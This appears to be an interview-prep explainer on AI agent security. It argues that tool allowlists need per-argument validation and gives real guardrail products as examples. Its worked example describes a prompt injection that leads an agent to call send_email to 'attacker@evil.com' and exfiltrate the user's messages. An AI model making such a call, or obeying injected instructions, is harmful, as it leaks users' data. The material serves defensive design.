An **allowlist** answers one question: which tools is this agent allowed to call. It does not answer the second question, which is what arguments those tools are allowed to receive. Both controls are needed; they catch different failure modes.
Imagine an agent with `send_email` allowlisted. A prompt injection convinces the model to call `send_email(to="attacker@evil.com", subject="export", body="<all the user's recent messages>")`. The allowlist sees `send_email` and waves it through. The damage is done at the argument level.
The fix is per-tool argument validation: regex on recipient domains, length caps on body, numeric caps on refund amounts, schema checks on every field. If the recipient must be `@yourcompany.com`, encode that. If the refund cap is one hundred dollars, encode that. The orchestrator rejects the call before the tool runs, the user sees a polite failure, and the audit log records the attempt as a flagged event.
**Argument validation** is the missing control. A tool allowlist gates the verb; argument schemas gate the object and the modifiers. Both layers are required, and the failure mode in the question is the classic case where only the first is in place.
The pattern is simple: every tool registered with the agent ships with a typed input schema plus a semantic policy. The schema catches shape errors (wrong type, missing field, unexpected key). The policy catches dangerous values that are perfectly well-typed,recipient domains outside an allowlist, refund amounts above a cap, SQL operations that touch tables outside the agent's scope, file paths that escape the sandbox root.
Real stacks express this in different layers. Bedrock Guardrails and Azure AI Content Safety expose denied-topics and content filters at the request boundary. NeMo Guardrails Colang flows enforce per-tool input rails. Frameworks like LangChain and CrewAI rely on the developer to wrap each tool with Pydantic validators or guardrails-ai checks. Whichever surface you pick, the contract is the same: the orchestrator must reject a tool call whose arguments fail the policy, even when the tool name is on the allowlist.
Quick reference
TL;DR
Tool allowlists only gate which tool runs. Argument validation gates what the tool is allowed to do, and it is the missing rail when an allowlisted tool ships harmful inputs.
Imagine giving a junior intern a company credit card and saying 'you can only use it at the coffee shop.' Great rule. Now the intern walks into the coffee shop and buys a hundred laptops on it. The store name was allowed, but you never said anything about how much could be spent or what could be bought. Agent tools work the same way. Saying send_email is allowed is like naming the coffee shop. You also need rules about who the email can be sent to, how big it can be, and what it can contain. Those rules are argument validation. Without them, a model that gets tricked by a prompt injection can still ship damage through a perfectly approved tool name.
Everything you need to truly understand this topic: intuition, mechanics, step by step explanation, code, formulas, and worked example. Click to expand.
Everything you need to truly understand this topic: intuition, mechanics, step by step explanation, code, formulas, and worked example.
Throwaway prototypes with no real side effects, run on synthetic data The blast radius is zero, so building a full policy layer is wasted engineering time at that stage.
Read-only retrieval tools where the worst case is a wasted token spend A simple rate limit and recipient-domain check are enough; full per-argument policy is overkill for pure read paths.
Tools whose blast radius is already bounded by a downstream system If the database role only has SELECT on one schema, layering a second policy just duplicates the existing guarantee.
Quick scan · 2–4 min
Everything important, quickly.
3 min: two-door model (allowlist for verb, argument policy for value); the three layers (schema, policy, blast-radius class); how send_email with no recipient policy becomes an exfiltration channel; how Bedrock Guardrails and NeMo Guardrails express the rails.
Real-world examples
Real products, models, and research that use this idea.
1AWS Bedrock Guardrails in 2026 exposes denied topics, content filters, PII filters, and contextual grounding checks that apply to tool inputs and outputs across model providers.
3Anthropic Claude tool-use docs require a JSON Schema for every tool, and the Anthropic Cookbook patterns wrap each tool in Pydantic validators before any side effect runs.
4Microsoft Azure AI Content Safety adds custom blocklists and prompt shields that gate function-calling arguments in Azure OpenAI deployments.
Interviewer follow-ups
What an interviewer would ask next. Try answering before peeking at the approach.
QHow would you design an argument policy for a refund tool that allows up to one hundred dollars without approval and requires a human signoff above that?
Sign in or go Pro to see the approach for this follow-up.
QWhere would you place argument validation: inside the tool implementation, in the orchestrator wrapper, or in a dedicated input rail?
Sign in or go Pro to see the approach for this follow-up.
QWhat does the audit log need to capture so a security reviewer can investigate a rejected argument three months later?
Sign in or go Pro to see the approach for this follow-up.
Don't say this
Red flags and common mistakes that signal junior thinking. Click to expand.
Most common mistake
Treating the tool allowlist as the whole control. The allowlist only says which tool can fire. What the tool can be asked to do still needs its own per-argument schema and policy check.